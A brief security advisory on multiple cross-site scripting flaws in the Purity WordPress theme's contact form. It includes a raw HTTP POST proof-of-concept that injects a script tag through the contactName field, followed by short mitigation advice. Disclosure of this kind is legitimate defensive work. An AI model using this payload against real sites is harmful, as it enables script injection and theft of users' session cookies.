Purity theme for WordPress Multiple Cross-Site Scripting Vulnerabilities

Purity theme for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. The "ContactName" ,"email" ,"subject" ,"comments", variables are not properly sanitized before being used. Exploit: POST /contact/ HTTP/1.0 Content-Length: 82 Accept: */* Accept-Language: en-US User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: exploit-masters.com Content-Type: application/x-www-form-urlencoded Referer: http://www.example.com/wordpress/contact/ contactName=>"'><script>alert("Hacked_by_MADSEC")</script>&email=&subject=&comments=&submitted=

Mitigation:

Input validation should be used to ensure that untrusted data is not used to generate unexpected results. Sanitize user-supplied input to prevent cross-site scripting attacks.
